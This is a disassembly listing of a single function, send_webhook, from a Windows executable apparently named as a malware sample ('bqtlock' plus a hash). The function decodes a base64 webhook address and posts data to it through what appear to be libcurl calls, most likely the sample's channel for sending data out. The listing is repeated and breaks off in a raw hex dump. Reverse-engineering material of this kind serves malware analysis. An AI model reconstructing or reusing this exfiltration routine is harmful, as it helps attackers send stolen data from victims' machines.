File bqtlock_618070d597dd73c43ba5d4bde2baa93a4f6038e3279de3bafe688caa5c409a58.exe
Function:
Loading..
140004283
140004283send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&):
140004283push rbp
140004284push rbx
140004285sub rsp, 680
14000428clea rbp, [rsp+128]
140004294mov [rbp+576], rcx
14000429bmov [rbp+584], rdx
1400042a2mov rax, [rbp+576]
1400042a9mov rcx, rax
1400042accall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
1400042b1test al, al
1400042b3je 0x14000434e
1400042b9lea rax, [rbp-17]
1400042bdmov [rbp+512], rax
1400042c4nop
1400042c5nop
1400042c6lea rcx, [rbp-17]
1400042calea rdx, [rip+0x102f32]
1400042d1lea rax, [rbp-64]
1400042d5mov r8, rcx
1400042d8mov rcx, rax
1400042dbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400042e0lea rax, [rbp+31]
1400042e4mov [rbp+504], rax
1400042ebnop
1400042ecnop
1400042edlea rcx, [rbp+31]
1400042f1lea rdx, [rip+0x103358]
1400042f8lea rax, [rbp-16]
1400042fcmov r8, rcx
1400042ffmov rcx, rax
140004302call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004307lea rdx, [rbp-64]
14000430blea rax, [rbp-16]
14000430fmov rcx, rax
140004312call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004317lea rax, [rbp-16]
14000431bmov rcx, rax
14000431ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004323lea rax, [rbp+31]
140004327mov rcx, rax
14000432acall std::__new_allocator<char>::~__new_allocator()
14000432fnop
140004330lea rax, [rbp-64]
140004334mov rcx, rax
140004337call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000433clea rax, [rbp-17]
140004340mov rcx, rax
140004343call std::__new_allocator<char>::~__new_allocator()
140004348nop
140004349jmp 0x1400049f4
14000434e
14000434eloc_14000434e:
14000434elea rax, [rbp-96]
140004352mov rdx, [rbp+576]
140004359mov rcx, rax
14000435ccall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004361lea rax, [rbp-96]
140004365mov rcx, rax
140004368call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
14000436dtest al, al
14000436fje 0x14000440f
140004375lea rax, [rbp+79]
140004379mov [rbp+496], rax
140004380nop
140004381nop
140004382lea rcx, [rbp+79]
140004386lea rdx, [rip+0x102e76]
14000438dlea rax, [rbp+32]
140004391mov r8, rcx
140004394mov rcx, rax
140004397call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000439clea rax, [rbp+127]
1400043a0mov [rbp+488], rax
1400043a7nop
1400043a8nop
1400043a9lea rcx, [rbp+127]
1400043adlea rdx, [rip+0x1032cc]
1400043b4lea rax, [rbp+80]
1400043b8mov r8, rcx
1400043bbmov rcx, rax
1400043becall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400043c3lea rdx, [rbp+32]
1400043c7lea rax, [rbp+80]
1400043cbmov rcx, rax
1400043cecall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400043d3lea rax, [rbp+80]
1400043d7mov rcx, rax
1400043dacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400043dflea rax, [rbp+127]
1400043e3mov rcx, rax
1400043e6call std::__new_allocator<char>::~__new_allocator()
1400043ebnop
1400043eclea rax, [rbp+32]
1400043f0mov rcx, rax
1400043f3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400043f8lea rax, [rbp+79]
1400043fcmov rcx, rax
1400043ffcall std::__new_allocator<char>::~__new_allocator()
140004404nop
140004405mov ebx, 0
14000440ajmp 0x140004839
14000440f
14000440floc_14000440f:
14000440flea rdx, [rip+0x1032a1]
140004416lea rax, [rbp-96]
14000441amov r8l, 0
140004420mov rcx, rax
140004423call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140004428test rax, rax
14000442bje 0x140004452
14000442dlea rdx, [rip+0x10328c]
140004434lea rax, [rbp-96]
140004438mov r8l, 0
14000443emov rcx, rax
140004441call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140004446test rax, rax
140004449je 0x140004452
14000444bmov eax, 1
140004450jmp 0x140004457
140004452
140004452loc_140004452:
140004452mov eax, 0
140004457
140004457loc_140004457:
140004457test al, al
140004459je 0x14000451d
14000445flea rax, [rbp+175]
140004466mov [rbp+480], rax
14000446dnop
14000446enop
14000446flea rcx, [rbp+175]
140004476lea rdx, [rip+0x102d86]
14000447dlea rax, [rbp+128]
140004484mov r8, rcx
140004487mov rcx, rax
14000448acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000448flea rax, [rbp+223]
140004496mov [rbp+472], rax
14000449dnop
14000449enop
14000449flea rcx, [rbp+223]
1400044a6lea rdx, [rip+0x10321b]
1400044adlea rax, [rbp+176]
1400044b4mov r8, rcx
1400044b7mov rcx, rax
1400044bacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400044bflea rdx, [rbp+128]
1400044c6lea rax, [rbp+176]
1400044cdmov rcx, rax
1400044d0call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400044d5lea rax, [rbp+176]
1400044dcmov rcx, rax
1400044dfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400044e4lea rax, [rbp+223]
1400044ebmov rcx, rax
1400044eecall std::__new_allocator<char>::~__new_allocator()
1400044f3nop
1400044f4lea rax, [rbp+128]
1400044fbmov rcx, rax
1400044fecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004503lea rax, [rbp+175]
14000450amov rcx, rax
14000450dcall std::__new_allocator<char>::~__new_allocator()
140004512nop
140004513mov ebx, 0
140004518jmp 0x140004839
14000451d
14000451dloc_14000451d:
14000451dmov rax, [rip+0x1c556c]
140004524call rax
140004526mov [rbp+536], rax
14000452dcmp [rbp+536], 0
140004535jne 0x1400045f9
14000453blea rax, [rbp+271]
140004542mov [rbp+464], rax
140004549nop
14000454anop
14000454blea rcx, [rbp+271]
140004552lea rdx, [rip+0x102caa]
140004559lea rax, [rbp+224]
140004560mov r8, rcx
140004563mov rcx, rax
140004566call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000456blea rax, [rbp+319]
140004572mov [rbp+456], rax
140004579nop
14000457anop
14000457blea rcx, [rbp+319]
140004582lea rdx, [rip+0x10319f]
140004589lea rax, [rbp+272]
140004590mov r8, rcx
140004593mov rcx, rax
140004596call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000459blea rdx, [rbp+224]
1400045a2lea rax, [rbp+272]
1400045a9mov rcx, rax
1400045accall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400045b1lea rax, [rbp+272]
1400045b8mov rcx, rax
1400045bbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400045c0lea rax, [rbp+319]
1400045c7mov rcx, rax
1400045cacall std::__new_allocator<char>::~__new_allocator()
1400045cfnop
1400045d0lea rax, [rbp+224]
1400045d7mov rcx, rax
1400045dacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400045dflea rax, [rbp+271]
1400045e6mov rcx, rax
1400045e9call std::__new_allocator<char>::~__new_allocator()
1400045eenop
1400045efmov ebx, 0
1400045f4jmp 0x140004839
1400045f9
1400045f9loc_1400045f9:
1400045f9mov [rbp+528], 0
140004604lea rdx, [rip+0x103155]
14000460bmov rax, [rbp+528]
140004612mov rcx, rax
140004615mov rax, [rip+0x1c54dc]
14000461ccall rax
14000461emov [rbp+528], rax
140004625lea rax, [rbp-96]
140004629mov rcx, rax
14000462ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140004631mov rdx, rax
140004634mov rax, [rbp+536]
14000463bmov r8, rdx
14000463emov edx, 10002
140004643mov rcx, rax
140004646mov rax, [rip+0x1c5453]
14000464dcall rax
14000464fmov rax, [rbp+584]
140004656mov rcx, rax
140004659call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
14000465emov rdx, rax
140004661mov rax, [rbp+536]
140004668mov r8, rdx
14000466bmov edx, 10015
140004670mov rcx, rax
140004673mov rax, [rip+0x1c5426]
14000467acall rax
14000467cmov rdx, [rbp+528]
140004683mov rax, [rbp+536]
14000468amov r8, rdx
14000468dmov edx, 10023
140004692mov rcx, rax
140004695mov rax, [rip+0x1c5404]
14000469ccall rax
14000469emov rax, [rbp+536]
1400046a5mov r8l, 10
1400046abmov edx, 13
1400046b0mov rcx, rax
1400046b3mov rax, [rip+0x1c53e6]
1400046bacall rax
1400046bcmov rax, [rbp+536]
1400046c3mov r8l, 1
1400046c9mov edx, 43
1400046cemov rcx, rax
1400046d1mov rax, [rip+0x1c53c8]
1400046d8call rax
1400046damov rax, [rbp+536]
1400046e1mov r8l, 0
1400046e7mov edx, 64
1400046ecmov rcx, rax
1400046efmov rax, [rip+0x1c53aa]
1400046f6call rax
1400046f8mov rax, [rbp+536]
1400046ffmov rcx, rax
140004702mov rax, [rip+0x1c538f]
140004709call rax
14000470bmov [rbp+524], eax
140004711cmp [rbp+524], 0
140004718je 0x14000480e
14000471elea rax, [rbp+367]
140004725mov [rbp+448], rax
14000472cnop
14000472dnop
14000472elea rcx, [rbp+367]
140004735lea rdx, [rip+0x102ac7]
14000473clea rax, [rbp+320]
140004743mov r8, rcx
140004746mov rcx, rax
140004749call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000474elea rax, [rbp+439]
140004755mov [rbp+440], rax
14000475cnop
14000475dnop
14000475emov eax, [rbp+524]
140004764mov ecx, eax
140004766mov rax, [rip+0x1c533b]
14000476dcall rax
14000476fmov rdx, rax
140004772lea rcx, [rbp+439]
140004779lea rax, [rbp+400]
140004780mov r8, rcx
140004783mov rcx, rax
140004786call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000478blea rax, [rbp+368]
140004792lea rcx, [rbp+400]
140004799lea rdx, [rip+0x102fdf]
1400047a0mov r8, rcx
1400047a3mov rcx, rax
1400047a6call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
1400047ablea rdx, [rbp+320]
1400047b2lea rax, [rbp+368]
1400047b9mov rcx, rax
1400047bccall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400047c1lea rax, [rbp+368]
1400047c8mov rcx, rax
1400047cbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400047d0lea rax, [rbp+400]
1400047d7mov rcx, rax
1400047dacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400047dflea rax, [rbp+439]
1400047e6mov rcx, rax
1400047e9call std::__new_allocator<char>::~__new_allocator()
1400047eenop
1400047eflea rax, [rbp+320]
1400047f6mov rcx, rax
1400047f9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400047felea rax, [rbp+367]
140004805mov rcx, rax
140004808call std::__new_allocator<char>::~__new_allocator()
14000480dnop
14000480e
14000480eloc_14000480e:
14000480emov rax, [rbp+528]
140004815mov rcx, rax
140004818mov rax, [rip+0x1c52e1]
14000481fcall rax
140004821mov rax, [rbp+536]
140004828mov rcx, rax
14000482bmov rax, [rip+0x1c5256]
140004832call rax
140004834mov ebx, 1
140004839
140004839loc_140004839:
140004839lea rax, [rbp-96]
14000483dmov rcx, rax
140004840call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004845cmp ebx, 1
140004848jmp 0x1400049f4
14000484d
14000484d 48 89 c3 H..
140004850 48 8d 45 f0 48 89 c1 e8 74 cc 0d 00 eb 03 48 89 H.E.H...t.....H.
140004860 c3 48 8d 45 1f 48 89 c1 e8 63 95 0c 00 90 48 8d .H.E.H...c....H.
140004870 45 c0 48 89 c1 e8 56 cc 0d 00 eb 03 48 89 c3 48 E.H...V.....H..H
140004880 8d 45 ef 48 89 c1 e8 45 95 0c 00 90 48 89 d8 48 .E.H...E....H..H
140004890 89 c1 e8 09 6b 01 00 48 89 c3 48 8d 45 50 48 89 ....k..H..H.EPH.
1400048a0 c1 e8 2a cc 0d 00 eb 03 48 89 c3 48 8d 45 7f 48 ..*.....H..H.E.H
1400048b0 89 c1 e8 19 95 0c 00 90 48 8d 45 20 48 89 c1 e8 ........H.E H...
1400048c0 0c cc 0d 00 eb 03 48 89 c3 48 8d 45 4f 48 89 c1 ......H..H.EOH..
1400048d0 e8 fb 94 0c 00 90 e9 01 01 00 00 48 89 c3 48 8d ...........H..H.
1400048e0 85 b0 00 00 00 48 89 c1 e8 e3 cb 0d 00 eb 03 48 .....H.........H
1400048f0 89 c3 48 8d 85 df 00 00 00 48 89 c1 e8 cf 94 0c ..H......H......
140004900 00 90 48 8d 85 80 00 00 00 48 89 c1 e8 bf cb 0d ..H......H......
140004910 00 eb 03 48 89 c3 48 8d 85 af 00 00 00 48 89 c1 ...H..H......H..
140004920 e8 ab 94 0c 00 90 e9 b1 00 00 00 48 89 c3 48 8d ...........H..H.
140004930 85 10 01 00 00 48 89 c1 e8 93 cb 0d 00 eb 03 48 .....H.........H
140004940 89 c3 48 8d 85 3f 01 00 00 48 89 c1 e8 7f 94 0c ..H..?...H......
140004950 00 90 48 8d 85 e0 00 00 00 48 89 c1 e8 6f cb 0d ..H......H...o..
140004960 00 eb 03 48 89 c3 48 8d 85 0f 01 00 00 48 89 c1 ...H..H......H..
140004970 e8 5b 94 0c 00 90 eb 64 48 89 c3 48 8d 85 70 01 .[.....dH..H..p.
140004980 00 00 48 89 c1 e8 46 cb 0d 00 eb 03 48 89 c3 48 ..H...F.....H..H
140004990 8d 85 90 01 00 00 48 89 c1 e8 32 cb 0d 00 eb 03 ......H...2.....
1400049a0 48 89 c3 48 8d 85 b7 01 00 00 48 89 c1 e8 1e 94 H..H......H.....
1400049b0 0c 00 90 48 8d 85 40 01 00 00 48 89 c1 e8 0e cb ...H..@...H.....
1400049c0 0d 00 eb 03 48 89 c3 48 8d 85 6f 01 00 00 48 89 ....H..H..o...H.
1400049d0 c1 e8 fa 93 0c 00 90 eb 03 48 89 c3 48 8d 45 a0 .........H..H.E.
1400049e0 48 89 c1 e8 e8 ca 0d 00 48 89 d8 48 89 c1 e8 ad H.......H..H....
1400049f0 69 01 00 90 i...
1400049f4
1400049f4loc_1400049f4:
1400049f4add rsp, 680
1400049fbpop rbx
1400049fcpop rbp
1400049fdret
140004283
140004283send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&):
140004283push rbp
140004284push rbx
140004285sub rsp, 680
14000428clea rbp, [rsp+128]
140004294mov [rbp+576], rcx
14000429bmov [rbp+584], rdx
1400042a2mov rax, [rbp+576]
1400042a9mov rcx, rax
1400042accall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
1400042b1test al, al
1400042b3je 0x14000434e
1400042b9lea rax, [rbp-17]
1400042bdmov [rbp+512], rax
1400042c4nop
1400042c5nop
1400042c6lea rcx, [rbp-17]
1400042calea rdx, [rip+0x102f32]
1400042d1lea rax, [rbp-64]
1400042d5mov r8, rcx
1400042d8mov rcx, rax
1400042dbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400042e0lea rax, [rbp+31]
1400042e4mov [rbp+504], rax
1400042ebnop
1400042ecnop
1400042edlea rcx, [rbp+31]
1400042f1lea rdx, [rip+0x103358]
1400042f8lea rax, [rbp-16]
1400042fcmov r8, rcx
1400042ffmov rcx, rax
140004302call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140004307lea rdx, [rbp-64]
14000430blea rax, [rbp-16]
14000430fmov rcx, rax
140004312call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004317lea rax, [rbp-16]
14000431bmov rcx, rax
14000431ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004323lea rax, [rbp+31]
140004327mov rcx, rax
14000432acall std::__new_allocator<char>::~__new_allocator()
14000432fnop
140004330lea rax, [rbp-64]
140004334mov rcx, rax
140004337call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000433clea rax, [rbp-17]
140004340mov rcx, rax
140004343call std::__new_allocator<char>::~__new_allocator()
140004348nop
140004349jmp 0x1400049f4
14000434e
14000434eloc_14000434e:
14000434elea rax, [rbp-96]
140004352mov rdx, [rbp+576]
140004359mov rcx, rax
14000435ccall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140004361lea rax, [rbp-96]
140004365mov rcx, rax
140004368call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
14000436dtest al, al
14000436fje 0x14000440f
140004375lea rax, [rbp+79]
140004379mov [rbp+496], rax
140004380nop
140004381nop
140004382lea rcx, [rbp+79]
140004386lea rdx, [rip+0x102e76]
14000438dlea rax, [rbp+32]
140004391mov r8, rcx
140004394mov rcx, rax
140004397call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000439clea rax, [rbp+127]
1400043a0mov [rbp+488], rax
1400043a7nop
1400043a8nop
1400043a9lea rcx, [rbp+127]
1400043adlea rdx, [rip+0x1032cc]
1400043b4lea rax, [rbp+80]
1400043b8mov r8, rcx
1400043bbmov rcx, rax
1400043becall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400043c3lea rdx, [rbp+32]
1400043c7lea rax, [rbp+80]
1400043cbmov rcx, rax
1400043cecall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400043d3lea rax, [rbp+80]
1400043d7mov rcx, rax
1400043dacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400043dflea rax, [rbp+127]
1400043e3mov rcx, rax
1400043e6call std::__new_allocator<char>::~__new_allocator()
1400043ebnop
1400043eclea rax, [rbp+32]
1400043f0mov rcx, rax
1400043f3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400043f8lea rax, [rbp+79]
1400043fcmov rcx, rax
1400043ffcall std::__new_allocator<char>::~__new_allocator()
140004404nop
140004405mov ebx, 0
14000440ajmp 0x140004839
14000440f
14000440floc_14000440f:
14000440flea rdx, [rip+0x1032a1]
140004416lea rax, [rbp-96]
14000441amov r8l, 0
140004420mov rcx, rax
140004423call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140004428test rax, rax
14000442bje 0x140004452
14000442dlea rdx, [rip+0x10328c]
140004434lea rax, [rbp-96]
140004438mov r8l, 0
14000443emov rcx, rax
140004441call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140004446test rax, rax
140004449je 0x140004452
14000444bmov eax, 1
140004450jmp 0x140004457
140004452
140004452loc_140004452:
140004452mov eax, 0
140004457
140004457loc_140004457:
140004457test al, al
140004459je 0x14000451d
14000445flea rax, [rbp+175]
140004466mov [rbp+480], rax
14000446dnop
14000446enop
14000446flea rcx, [rbp+175]
140004476lea rdx, [rip+0x102d86]
14000447dlea rax, [rbp+128]
140004484mov r8, rcx
140004487mov rcx, rax
14000448acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000448flea rax, [rbp+223]
140004496mov [rbp+472], rax
14000449dnop
14000449enop
14000449flea rcx, [rbp+223]
1400044a6lea rdx, [rip+0x10321b]
1400044adlea rax, [rbp+176]
1400044b4mov r8, rcx
1400044b7mov rcx, rax
1400044bacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400044bflea rdx, [rbp+128]
1400044c6lea rax, [rbp+176]
1400044cdmov rcx, rax
1400044d0call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400044d5lea rax, [rbp+176]
1400044dcmov rcx, rax
1400044dfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400044e4lea rax, [rbp+223]
1400044ebmov rcx, rax
1400044eecall std::__new_allocator<char>::~__new_allocator()
1400044f3nop
1400044f4lea rax, [rbp+128]
1400044fbmov rcx, rax
1400044fecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004503lea rax, [rbp+175]
14000450amov rcx, rax
14000450dcall std::__new_allocator<char>::~__new_allocator()
140004512nop
140004513mov ebx, 0
140004518jmp 0x140004839
14000451d
14000451dloc_14000451d:
14000451dmov rax, [rip+0x1c556c]
140004524call rax
140004526mov [rbp+536], rax
14000452dcmp [rbp+536], 0
140004535jne 0x1400045f9
14000453blea rax, [rbp+271]
140004542mov [rbp+464], rax
140004549nop
14000454anop
14000454blea rcx, [rbp+271]
140004552lea rdx, [rip+0x102caa]
140004559lea rax, [rbp+224]
140004560mov r8, rcx
140004563mov rcx, rax
140004566call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000456blea rax, [rbp+319]
140004572mov [rbp+456], rax
140004579nop
14000457anop
14000457blea rcx, [rbp+319]
140004582lea rdx, [rip+0x10319f]
140004589lea rax, [rbp+272]
140004590mov r8, rcx
140004593mov rcx, rax
140004596call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000459blea rdx, [rbp+224]
1400045a2lea rax, [rbp+272]
1400045a9mov rcx, rax
1400045accall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400045b1lea rax, [rbp+272]
1400045b8mov rcx, rax
1400045bbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400045c0lea rax, [rbp+319]
1400045c7mov rcx, rax
1400045cacall std::__new_allocator<char>::~__new_allocator()
1400045cfnop
1400045d0lea rax, [rbp+224]
1400045d7mov rcx, rax
1400045dacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400045dflea rax, [rbp+271]
1400045e6mov rcx, rax
1400045e9call std::__new_allocator<char>::~__new_allocator()
1400045eenop
1400045efmov ebx, 0
1400045f4jmp 0x140004839
1400045f9
1400045f9loc_1400045f9:
1400045f9mov [rbp+528], 0
140004604lea rdx, [rip+0x103155]
14000460bmov rax, [rbp+528]
140004612mov rcx, rax
140004615mov rax, [rip+0x1c54dc]
14000461ccall rax
14000461emov [rbp+528], rax
140004625lea rax, [rbp-96]
140004629mov rcx, rax
14000462ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140004631mov rdx, rax
140004634mov rax, [rbp+536]
14000463bmov r8, rdx
14000463emov edx, 10002
140004643mov rcx, rax
140004646mov rax, [rip+0x1c5453]
14000464dcall rax
14000464fmov rax, [rbp+584]
140004656mov rcx, rax
140004659call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
14000465emov rdx, rax
140004661mov rax, [rbp+536]
140004668mov r8, rdx
14000466bmov edx, 10015
140004670mov rcx, rax
140004673mov rax, [rip+0x1c5426]
14000467acall rax
14000467cmov rdx, [rbp+528]
140004683mov rax, [rbp+536]
14000468amov r8, rdx
14000468dmov edx, 10023
140004692mov rcx, rax
140004695mov rax, [rip+0x1c5404]
14000469ccall rax
14000469emov rax, [rbp+536]
1400046a5mov r8l, 10
1400046abmov edx, 13
1400046b0mov rcx, rax
1400046b3mov rax, [rip+0x1c53e6]
1400046bacall rax
1400046bcmov rax, [rbp+536]
1400046c3mov r8l, 1
1400046c9mov edx, 43
1400046cemov rcx, rax
1400046d1mov rax, [rip+0x1c53c8]
1400046d8call rax
1400046damov rax, [rbp+536]
1400046e1mov r8l, 0
1400046e7mov edx, 64
1400046ecmov rcx, rax
1400046efmov rax, [rip+0x1c53aa]
1400046f6call rax
1400046f8mov rax, [rbp+536]
1400046ffmov rcx, rax
140004702mov rax, [rip+0x1c538f]
140004709call rax
14000470bmov [rbp+524], eax
140004711cmp [rbp+524], 0
140004718je 0x14000480e
14000471elea rax, [rbp+367]
140004725mov [rbp+448], rax
14000472cnop
14000472dnop
14000472elea rcx, [rbp+367]
140004735lea rdx, [rip+0x102ac7]
14000473clea rax, [rbp+320]
140004743mov r8, rcx
140004746mov rcx, rax
140004749call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000474elea rax, [rbp+439]
140004755mov [rbp+440], rax
14000475cnop
14000475dnop
14000475emov eax, [rbp+524]
140004764mov ecx, eax
140004766mov rax, [rip+0x1c533b]
14000476dcall rax
14000476fmov rdx, rax
140004772lea rcx, [rbp+439]
140004779lea rax, [rbp+400]
140004780mov r8, rcx
140004783mov rcx, rax
140004786call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000478blea rax, [rbp+368]
140004792lea rcx, [rbp+400]
140004799lea rdx, [rip+0x102fdf]
1400047a0mov r8, rcx
1400047a3mov rcx, rax
1400047a6call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
1400047ablea rdx, [rbp+320]
1400047b2lea rax, [rbp+368]
1400047b9mov rcx, rax
1400047bccall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400047c1lea rax, [rbp+368]
1400047c8mov rcx, rax
1400047cbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400047d0lea rax, [rbp+400]
1400047d7mov rcx, rax
1400047dacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400047dflea rax, [rbp+439]
1400047e6mov rcx, rax
1400047e9call std::__new_allocator<char>::~__new_allocator()
1400047eenop
1400047eflea rax, [rbp+320]
1400047f6mov rcx, rax
1400047f9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400047felea rax, [rbp+367]
140004805mov rcx, rax
140004808call std::__new_allocator<char>::~__new_allocator()
14000480dnop
14000480e
14000480eloc_14000480e:
14000480emov rax, [rbp+528]
140004815mov rcx, rax
140004818mov rax, [rip+0x1c52e1]
14000481fcall rax
140004821mov rax, [rbp+536]
140004828mov rcx, rax
14000482bmov rax, [rip+0x1c5256]
140004832call rax
140004834mov ebx, 1
140004839
140004839loc_140004839:
140004839lea rax, [rbp-96]
14000483dmov rcx, rax
140004840call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140004845cmp ebx, 1
140004848jmp 0x1400049f4
14000484d
14000484d 48 89 c3 H..
140004850 48 8d 45 f0 48 89 c1 e8 74 cc 0d 00 eb 03 48 89 H.E.H...t.....H.
140004860 c3 48 8d 45 1f 48 89 c1 e8 63 95 0c 00 90 48 8d .H.E.H...c....H.
140004870 45 c0 48 89 c1 e8 56 cc 0d 00 eb 03 48 89 c3 48 E.H...V.....H..H
140004880 8d 45 ef 48 89 c1 e8 45 95 0c 00 90 48 89 d8 48 .E.H...E....H..H
140004890 89 c1 e8 09 6b 01 00 48 89 c3 48 8d 45 50 48 89 ....k..H..H.EPH.
